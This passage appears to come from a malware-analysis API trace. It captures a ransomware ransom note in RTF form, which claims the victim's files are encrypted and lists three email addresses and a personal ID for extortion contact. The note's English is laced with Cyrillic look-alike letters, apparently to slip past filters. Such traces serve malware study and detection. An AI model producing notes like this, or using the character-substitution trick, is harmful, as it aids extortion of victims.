n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\n", cchWideChar=14086, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14086 [0033.949] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\n", cchWideChar=14086, lpMultiByteStr=0x27bfb38, cbMultiByte=14086, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT 